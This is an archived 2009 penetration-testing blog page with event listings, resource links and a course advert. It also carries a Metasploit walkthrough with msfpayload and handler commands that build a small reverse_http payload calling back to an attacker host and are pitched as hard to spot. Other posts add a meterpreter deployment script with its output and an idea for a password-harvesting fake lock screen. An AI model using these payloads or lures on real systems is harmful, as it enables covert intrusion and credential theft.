Enter your email address:

Local Security – DC-NoVA-MD

Written by: Rob Fuller On June 29th, 2009

Looking for local events?

I’ve gotten a lot of people asking me recently where the local events are in DC, and I almost every time turn them to the awesome http://www.novainfosecportal.com/ which is hands down the best source for local events for the DC-NoVA-MD area, not just NoVA.

Grecs (follow him on twitter) does an amazing job at keeping it up to date and filled with every event possible. (Subscribe to his google calendar of events, get the RSS feed.. all good stuff)

But there are other resources too:

DojoSec – http://www.dojosec.com/- run by the amazing Marcus J. Carey who recently joined the PaulDotCom Security Weekly crew. DojoSec is a Monthly min-conference with 1 track and some of the best speakers in the local area, definitely worth

The Shmoo Group hosts the recently revived Security Geeks mailing list:  http://lists.shmoo.com/mailman/listinfo/secgeeks

I run a luncheon that you can get on the list simply by emailing me (mubix hak5.org) or commenting here if you wish.

Another site to keep up on is http://infosecevents.net/ run by GGEE has a more broad scope of events, not just in the area.

Hope this helps more people find ways of getting connected with the community.

Filed Under Uncategorized | Comments

Metasploit Framework as a Payload

Written by: Rob Fuller On June 26th, 2009

Well, sorta…

I created a meterpreter script that takes the cygwin bundled version of Metasploit inside of a NullSoft installer that HD Moore created and deploys it using meterpreter to the compromised host, extracts/installs it, and runs the shell. Now I left this intentionally open so that you could package your own cygwin bundle (possibly with nmap and netcat), for your own evil fun.

Thanks defintely go to Carlos Perez (Dark0perator) and HD Moore for their help getting this bad boy working right.

You can download the script here: http://www.room362.com/tools/deploymsf.rb

You can download the cygwin installs from the metasploit website:

13mb FULL framework: https://metasploit.com/framework-3.3-dev.exe
5mb MINI (just msfconsole): https://metasploit.com/mini-3.3-dev.exe

And here is what it looks like:

meterpreter > run deploymsf -f framework-3.3-dev.exe
[*] Running Meterpreter MSFp Deploytment Script…..
[*] Uploading MSFp for for deployment….
[*] MSFp uploaded as C:\DOCUME~1\mubix\LOCALS~1\Temp\12681.exe
[*] Installing MSFp………..
[*] Done!
[*] Installation Complete!
[*] Running cygwin shell channelized…
[*] Channel 18 created – Type: interact 18 to play
[*] Be warned, it takes a bit for post setup to happen
[*] and you will not see a prompt, try pwd to check
meterpreter > interact 18
Interacting with channel 18…

[*] Configuring multi-user permissions for first run…
[*] Configuring the initial user environment…
pwd
/home/mubix
ls
msfconsole
*** Metasploit only has EXPERIMENTAL support for Ruby 1.9.1 and newer, things may break!
*** Please report bugs to msfdev[at]metasploit.com
[-] ***
[-] * WARNING: No database support: LoadError no such file to load — active_record
[-] ***

##                          ###           ##    ##
##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
##

=[ msf v3.3-dev
+ — –=[ 379 exploits – 231 payloads
+ — –=[ 20 encoders – 7 nops
=[ 156 aux

msf >GAME OVER

Tags: , , , , , , ,
Filed Under Hacking | Comments

Security Tools I’m Looking For Part I

Written by: Rob Fuller On June 17th, 2009

There are a lot of tools that I find in my endeavors would be really helpful, but can’t find on the net for whatever reason.

  1. A portable version of of tshark that has ARP spoofing capabilities. I want to be able to drop the file, issue the arguments and pull the pcap back.
  2. A application that can sniff traffic from a specific process. Metasploit’s keylogger is sort of there as it only pulls keys from the process of which it is attached (DLL is to ‘fault’ for this). And Process Hacker is also pretty close, (Process Explorer does a TCPVIew like show of the connections currently happening).
  3. An nmap script that sees port 445 open and tries pass the hash, and token passing to run a specified executable. I believe tebo was developing a psexec scanner for Metasploit, but it hasn’t been released as of yet.
  4. A meterpreter script that sets the a all user GPO setting for wallpaper and forces the update. (For calling-card notifications during pen-tests)
  5. A password list generator that would take URLs, and files (pulling metadata where applicable, strings in other cases). And churn out a dictionary, and also ask if you would like to start generating a Rainbow Table for that specific dictionary.
  6. A meterpreter module like “Echo Mirage” by the BeEF guys, sort of like an iptables injection that modifies/accepts/denys packets to a specific process
  7. This is Kevin Johnson’s idea but it should be posted: A standard XMLish format for all Web Application Scanners so that the tools interoperate. One spider session can be loaded into another tool and have it’s auditing system check it, instead of being confined too one tool.
  8. A screen saver that imitates the screen saver lockout event and has the user login (and has it fail twice by default for “Password Validation ;-) ”)  and then allows them back in, capturing those password. (Usually a user will try a couple different passwords so you might be able to glean other credentials to use). It could also have an option to state. “Account Locked, You must be an Administrator to login” so that they call an admin in to unlock it ;-)

I’ll leave it at that for now. Anyone interested in coding it ?

Filed Under Uncategorized | Comments

Getting your fill of Reverse Engineering and Malware Analysis

Written by: Rob Fuller On June 12th, 2009

Matt, from the Exotic Liability forums, posed a suggestion for a episode: “Getting started [in] reverse engineering hardware drivers?“. I thought this was an interesting topic to attack so, I dug a bit into my RSS feed pile of goo and compiled this list of links. Hope this helps Matt.

Individuals —

Skywing – http://www.nynaeve.net/
Egypt – http://0xegypt.blogspot.com/
Yoni – http://blogs.msdn.com/michael_howard/
Raymond Chen – http://blogs.msdn.com/oldnewthing/
Sia0 – http://blogs.msdn.com/michkap/
Rob P – http://geekswithblogs.net/robp/Default.aspx
Quantam – http://qstuff.blogspot.com/
Phn1x – http://hamsterswheel.com/techblog/
Halavar Flake – http://addxorrol.blogspot.com/
Pedram – http://pedram.redhive.com/blog
Tyler Shields – http://www.donkeyonawaffle.org/
Wesley Shields – http://www.atarininja.org/
Peter Wieland – http://blogs.msdn.com/peterwie/
Michael Howard – http://blogs.msdn.com/michael_howard/
Doron Holan – http://blogs.msdn.com/doronh/
Nico Waisman – http://eticanicomana.blogspot.com/
Dmitry Vostokov – http://www.dumpanalysis.org/blog/
Nicolas Sylvain – http://nsylvain.blogspot.com/
Alex Ionescu – http://www.alex-ionescu.com/
Mattheiu Suiche – http://www.msuiche.net/
Larry Osterman – http://blogs.msdn.com/larryosterman/
Koby Kahane – http://kobyk.wordpress.com/
Jason Geffner – http://malwareanalysis.com/communityserver/blogs/geffner/default.aspx
Ero Carrera – http://blog.dkbza.org/
Dino Dai Zovi – http://blog.trailofbits.com/
Ilja – http://blogs.23.nu/ilja/
Nate Lawson – http://rdist.root.org/
Mark Russinovich – http://blogs.technet.com/markrussinovich/
Jose Nazario – http://www.wormblog.com/
Jonathan Morrison – http://blogs.msdn.com/itgoestoeleven/
John Robbins – http://www.wintellect.com/cs/blogs/jrobbins/default.aspx
Ilias Tsigkogiannis – http://blogs.msdn.com/iliast/
Daniel Reynaud – http://indefinitestudies.org/
Joanna Rutkowska – http://theinvisiblethings.blogspot.com/
Matthieu Kaczmarek – http://www.loria.fr/~kaczmare/index.en.htm
Silvio Cesare – http://silviocesare.wordpress.com/
Philippe Beaucamps – http://www.loria.fr/~beaucphi/
Debugging Toolbox – http://blogs.msdn.com/debuggingtoolbox/

Fravia’s saved works (RIP) – http://www.woodmann.com/fravia/index.htm

Groups —

Offensive Computing – http://www.offensivecomputing.net/
The Cover of Night – http://www.thecoverofnight.com/blog/
LHS – http://lhs.loria.fr/
NT Debugging – http://blogs.msdn.com/ntdebugging/
Hex Blog – http://www.hexblog.com/
Engineering for Fun – http://blog.engineeringforfun.com/

Company —

OpenRCE – http://www.openrce.org/articles/
DV Labs – http://dvlabs.tippingpoint.com/blog/
Matasano – http://www.matasano.com/log/
VeraCode – http://www.veracode.com/blog/
Trend Micro – http://blog.trendmicro.com/

Forums —

Reverse Engineering – http://community.reverse-engineering.net/index.php
OpenRCE – http://www.openrce.org/forums/
Assembly Forums – http://www.asmcommunity.net/board/

Sandboxing and Analysis —

Joe Box – http://www.joebox.org/
Virus Total – http://www.virustotal.com/
Wepawet – http://wepawet.cs.ucsb.edu/
F-Secure -http://www.f-secure.com/en_US/security/security-lab/
Anubis – http://anubis.iseclab.org/
Jotti – http://virusscan.jotti.org/en
Sunbelt CWSandbox – http://www.sunbeltsecurity.com/Submit.aspx?type=cwsandbox&cs=A41CD150B37359889A553671CBFD2360

Misc —

Code Breakers Journal – http://www.codebreakers-journal.com/
The Art of Assembly – http://webster.cs.ucr.edu/AoA/DOS/AoADosIndex.html
Intel Processor Instruction Set A-M/N-Z – http://www.intel.com/products/processor/manuals/
WASM.ru with translation – http://66.196.80.202/babelfish/translate_url_content?lp=ru_en&url=http://www.wasm.ru&.intl=us

Tags: , , , , ,
Filed Under Hacking | Comments

Rant Back – ValSmith

Written by: Rob Fuller On June 10th, 2009

Val Smith recently wrote a post on the new Attack Research / carnal0wnage blog titled:
Security Conferences, pen tests and incident response

Here are my thoughts on what he wrote:

In paragraphs 2-6 he talks about two points. The first being that Hacker Conferences have become sort of commercialized with most speakers going for their day in the lime light or to pimp some product/0day. And the second being a lot of the talks are things that most can’t go home / back to work and test out or implement.

I agree with him on both points.

On the first point I think that one detail was left out of this evaluation. Size. Back when DEFCON was <500 people, almost everyone knew each other. 90% of those attending had the passion, had the fire for that what makes our line of work such an art. Now that our community has become “popular”, that percentage is around 20-30%. These numbers aren’t based on any stats, just something that I have been observing as well.

On the second point, my first security conference was ShmooCon ‘06. I was glued to might seat in each talk I attended, and in just 3 short years I have seen EXACTLY what he’s talking about. I used to have to decide between awesome talks in the same hour. Now I actually find times where I’m not interested in anything being presented for that hour. But, rooms still get packed so I guess that’s just my own pickiness.

Penetration Testing and Incident is the second portion of his post and I really think he’s hit the nail on the head, Pen Testing and Incident Response should work closely together. I want to throw Vulnerability Assessment and Forensics into the mix as well, feeding each other, sharing data, and assisting. The segmentation of duties / teams is killing collaboration.

Lets get back to the basics, and really show what this community is capable of.

Tags: , , , , , , ,
Filed Under Rant | Comments

PassiveX fun with Metasploit

Written by: Rob Fuller On June 10th, 2009

I posted this walkthrough to the Metasploit mailing list, but thought that it would serve well here as well. Especially with the recent iPhone 3.0 “Special” download spam I recently received. The binary comes out to a whopping 97 bytes for the stager. Would be a blazing fast download and coupled with the IExpress “hack” would make for an very hard to spot payload.

A really down and dirty explination of what PassiveX is and why it’s useful in this sort of situation is that instead of making a direct connection back to you, it uses an iexplorer process with a cool ActiveX control to talk back. So someone looking for a rogue process will only see Internet Explorer open and talking over port 443 (as specified).

(props to skape for writting PassiveX and @_natron_ for kicking in the latest tweaks to make it work with IE7/IE8)

Here are the options for msfpayload:

Usage: ./msfpayload <payload> [var=val] <S[ummary]|C|P[erl]|[Rub]y|R[aw]|J[avascript]|e[X]ecutable|[V]BA>

And msfencode’s options if you chose to use it as I demonstrate below. However, encoding happens by default with msfpayload (IIRC):

./msfencode -h

Usage: ./msfencode <options>

OPTIONS:

-a <opt>  The architecture to encode as
-b <opt>  The list of characters to avoid: ‘\x00\xff’
-c <opt>  The number of times to encode the data
-e <opt>  The encoder to use
-h        Help banner
-i <opt>  Encode the contents of the supplied file path
-l        List available encoders
-m <opt>  Specifies an additional module search path
-n        Dump encoder information
-o <opt>  The output file
-s <opt>  The maximum size of the encoded data
-t <opt>  The format to display the encoded buffer with (c, elf, exe, java, perl, raw, ruby, vba)

Here we create the PassiveX payload. Note the PX options instead of the LHOST/LPORT:

./msfpayload windows/reflectivemeterpreter/reverse_http PXHOST=192.168.1.100 PXPORT=443 PXURI=/ R | ./msfencode -t exe -o /tmp/maliciouspayload.exe

[*] x86/shikata_ga_nai succeeded with size 97 (iteration=1)

Now that we have our "malicious payload" in /tmp we get our listener ready (you can use msfcli as well, I just like msfconsole because it provides me more flexibility):

./msfconsole

_
| |      o
_  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |
|  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|

=[ msf v3.3-dev
+ -- --=[ 376 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 153 aux

msf > use multi/handler
msf exploit(handler) > exploit -h

(I'm showing you 'exploit's options because a lot of people don't know they exist. With two lines you can start your listener (use, then exploit):

Usage: exploit [options]
Launches an exploitation attempt.

OPTIONS:
-e <opt>  The payload encoder to use.  If none is specified, ENCODER is used.
-h        Help banner.
-j        Run in the context of a job.
-n <opt>  The NOP generator to use.  If none is specified, NOP is used.
-o <opt>  A comma separated list of options in VAR=VAL format.
-p <opt>  The payload to use.  If none is specified, PAYLOAD is used.
-t <opt>  The target index to use.  If none is specified, TARGET is used.
-z        Do not interact with the session after successful exploitation.

msf exploit(handler) > exploit -j -z -p windows/reflectivemeterpreter/reverse_http -o PXHOST=0.0.0.0,PXPORT=443,PXURI=/,ExitOnSession=False

[*] Exploit running as background job.
[*] PassiveX listener started.
[*] Starting the payload handler…

msf exploit(handler) >

Listener ready to go. I chose IP: 0.0.0.0 just to make things easy. Just send off maliciouspayload.exe to your target and you’re set.

Tags: , , ,
Filed Under Hacking | Comments

Getting your fill of Security

Written by: Rob Fuller On May 29th, 2009

I recently posted a blog post to Exotic Liability’s website with the same title, and I realized that it would make a great thing to post to here, and update regularly, or just put it on the wiki I keep saying that I get going here. Enough rambling, here is how you can get your fill of security:

Podcasting:
GetMon – http://www.getmon.com/ – This is a great site because you can download or listen to any of the security podcasts right from their site if you want to.
HackerMedia – http://www.hackermedia.org/ – They put together like podcasts into different categories, and they overlap. So if you want the "Linux" feed, you’ll get podcast A, B, and C. But maybe podcast C does Linux security, so if you subscribe to the "Security" feed, you might get C, E, and G. You can also get the everything feed

Bloggers (RSS Feeds):
Security Bloggers Network – http://www.securitybloggers.net/ – A consolidated feed of a HUGE list of security blogs

Twitter:
Security Twits – http://www.security-twits.com/ – A long list of security related twitter accounts. From people to events, to companies.

Places to learn:
The Academy Pro – http://www.theacademypro.com/
Learn Security Online – http://www.learnsecurityonline.com/
Free IT Security Training – http://www.freeitsecuritytraining.com/
Virtual Training Environment by Carnegie Mellon – https://www.vte.cert.org/vteweb/

Challenge Sites and Sites that are OK to attack:
(Make sure you know which is which before you haul off and start attacking though)
(Most of these stolen from Chris Nickerson’s reply to Show 17 Links blog post)

http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
http://testasp.acunetix.com/Default.asp
http://test.acunetix.com/
http://hackme.ntobjectives.com/
http://www.foundstone.com/us/resources/proddesc/hacmeshipping.htm
http://www.foundstone.com/us/resources/proddesc/hacmecasino.htm
http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm
http://www.foundstone.com/us/resources/proddesc/hacmetravel.htm
http://lampsecurity.org/capture-the-flag-5
http://zero.webappsecurity.com/
http://www.hackertest.net/
http://www.hackthissite.org/
http://www.mavensecurity.com/WebMaven.php
http://ha.ckers.org/challenge/
http://ha.ckers.org/challenge2/
http://demo.testfire.net/
http://scanme.nmap.org/
http://www.hellboundhackers.org/
http://www.overthewire.org/wargames/
http://roothack.org/
http://heorot.net/
http://www.irongeek.com/i.php?page=security/mutillidae-deliberately…
http://wocares.com/xsstester.php
https://how2hack.net
http://hax.tor.hu/
http://www.bright-shadows.net/
http://www.dareyourmind.net/
http://hackergames.net/
http://www.hackquest.com/
http://www.darkmindz.com/
http://www.caesum.com/game/
http://www.net-force.nl/
http://www.osix.net/
http://www.mibs-challenges.de/
http://projecteuler.net/
http://uva.onlinejudge.org/
http://ace.delos.com/usacogate

So now you have absolutely ZERO reason to have one moment of time on your hands ;-)
Know of another good resource? Post a comment.

UPDATE: ethicalhack3r from http://www.ethicalhack3r.co.uk pointed me to his project called “Damn Vulnerable Web App”. You can find it on Sourceforge here: http://sourceforge.net/projects/dvwa/

Tags: , , ,
Filed Under Uncategorized | Comments

Couch to Career – Follow up

Written by: Rob Fuller On May 23rd, 2009

First of all, here is my slide deck from DojoSec with a couple added slides, words, and slight modifications:

I have put this article off quite a few times due to some very cool and interesting things happening in our field as it applies to getting a job. That, and Matt Johansen beat me to it with his blog post titled: “A lot of Information Security Career Advice“, which I highly recommend you check out and add to your RSS reader.  So instead of rewriting things that other people have already covered I’ll just post the links to them:

We start our journey as any real hacker would, with the “Hacker Handle Generator“.  And since I am more of an Audio/Visual Leaner  let’s start off with “Exotic Liability Episode 10: Advice” Where Ryan Jones, DJ Jackalope, and Chris Nickerson, of “Tiger Team” fame, fortune and power,  call back Michigan Justin and talk at length about how to start out in the community. We also have Don Donzal from EthicalHacker.net who talks about “DIY Career in Ethical Hacking” (MP3 / SLIDES), and about 16 tips from “Ugly Resumes get Jobs!” on Slideshare. But this A/V setup wouldn’t be complete if I didn’t tell you guys where you can get all kinds of videos actually teaching you security so that you can have a leg up on everyone else. Head on over to TheAcademyPro.com where you can watch 1-5 minute videos on everything from configuring Snort and exploiting systems with Metasploit, to configuring Sourcefire 3D and destroying the world with Core Impact. Another site to bookmark is SecurityTube.net. The guys there work their fingers to the bone to locate security videos across the net and put them all in one central pace for you to access.

Now on for those people who like to do all that “reading” stuff.  First head on over to the Security Catalyst for Part 1 and Part 2 of “Career Advice for Security Geeks” and Paul Asadoorian’s post titled “Getting Started In Information Security How-To” and Kees Leune’s post titled “Tips for Getting Started in Information Security“, and if you are really feeling froggy, read all 4+ years (only 6 or so pages don’t worry too much) of the discussion on the Defcon forums: “Getting started in the security field

Finally, sticking with the theme that I try to keep going on this blog I want to give you something new to digest:

James Arlen (aka myrcurial) does a talk at Notacon about going from BlackHat to BlackSuit

LifeHacker’s “Top 10 Tools for landing a better job

Aaron Crowe writes about “How to avoid being scammed in a job hunt

Lee Kushner writes about “Wanting a Job Too Much

Two Mashable articles: “How to find a Job on Twitter” and “How to exchange Biz cards on Twitter

But I wanted to close with some advice that a lot of people have a hard time with. And that is how to talk dollars, and how to do it well.  And Jack Chapman is certainly the guy to learn from. Check out a write-up on him on GetRichSlowly.org titled “Negotiating Your Salary: How to Make $1,000 a Minute” (which is the title of Chapman’s book). And Chapman’s site where he has tons of YouTube videos of tips that he describes in the book.

Sorry this is a bunch of links, and if you guys would like me to explain each slide in my Couch to Career deck I’ll make another post about it.

Filed Under Uncategorized | Comments

Workshop at ToorCamp with Dark0perator

Written by: Rob Fuller On May 5th, 2009

Dark0perator and I will be giving a workshop at ToorCamp coming up July 2nd-5th:

You can find us on the ToorCamp site: http://www.toorcamp.org/content/W13

Here is the description of our talk, save the bio(s):

The Art of Pivot and Persistence:

Shell is only the beginning.

This workshop is based on the assumption that you have some level of access on a target system. From that it is demonstrated how to go from that level of access to taking over the whole company and how to keep that access, surviving reboots, AV scans, and even reimaging. The following levels of access is covered:

1. Domain Administrator access on a domain controller
2. Local Administrator access on a client machine
3. Root on a Database server
4. Root on a Web server
5. User on a client machine
6. User on a Database server
7. User on a Web server

Filed Under Uncategorized | Comments

Offensive Security Live Courses for 2009

Written by: Rob Fuller On April 29th, 2009

I highly recommend both of these courses, and the chance to get in front of the instructors and ask questions live is worth it IMHO. So bang on those manager doors and work it out, because seats fill quickly and they are limited. 

Check out the Offensive Security – Instructor Lead Training page for updated information.

We are excited to announce our next Offsec Live Classes.

Since you asked to be notified of our next dates you will be happy to be among the first to have your teams invited to one of our next classes.

Our last classes sold out about 2 months early and this class there are literally hundreds in the queue so please contact me as early as you can.

Pentesting With BackTrack Live
October 26-30, 2009

Columbia, MD

Costs:
$3500 now till July 15th
$3799 July 15th – September 1st
$3999 September 1st till class

Your class will include the following:
·         5 days of intense training from Mati Aharoni and Chris Hadnagy
·         30 days of labs in our special Pentesting with BackTrack Labs
·         Your chance to take the highly regarded OSCP Certification
·         We also cover your lunch during the week
·         We host a special after hours session for those who want to join in

This class is designed to take you from A to Z in real life pentesting skills.  We cover from Information Gathering to writing your own overflow.

We ask each student to have a clear understanding of TCP/IP, basic linux skills and familiarity with the concepts of pentesting.

Offensive Security Cracking the Perimeter Live
November 9-13, 2009

Columbia, MD

Costs:
$5000 now till July 30th
$5299 July 30th – October 1st
$5499 October 1st till class

Your class will include the following:
·         5 days of intense training from Mati Aharoni and Chris Hadnagy
·         30 days of labs in our special Cracking the Perimeter Labs
·         Your chance to take the prestigious OSCE Certification
·         We also cover your lunch during the week

This class is designed for the seasoned security professional – A pentester or sec pro that has taken their skills to the edge and now need a little push over – to learn insane ways to crack the perimeter.

This class relies heavily on the student knowing and using Olly Debugger, the Metasploit framework and understanding if not having written an full blown exploit before attempting this class.  If you have taken the “Pentesting With BT” class and mastered all aspects of this class you might be ready to take Cracking the Perimeter.

All attendees are eligible for 40 CPE credits if you are CISSP.

We are limiting these classes to a maximum of 20 for Pentesting with BackTrack and 15-17 for Cracking the Perimeter -  so if you are interested please contact us early and register completely to ensure your seat is saved.

Thanks and I look forward to seeing you in class.

Sincerely,

Chris Hadnagy
Operations Manager
www.offensive-security.com
www.remote-exploit.org
“back|track4 – So good it should be commercial”

Filed Under Uncategorized | Comments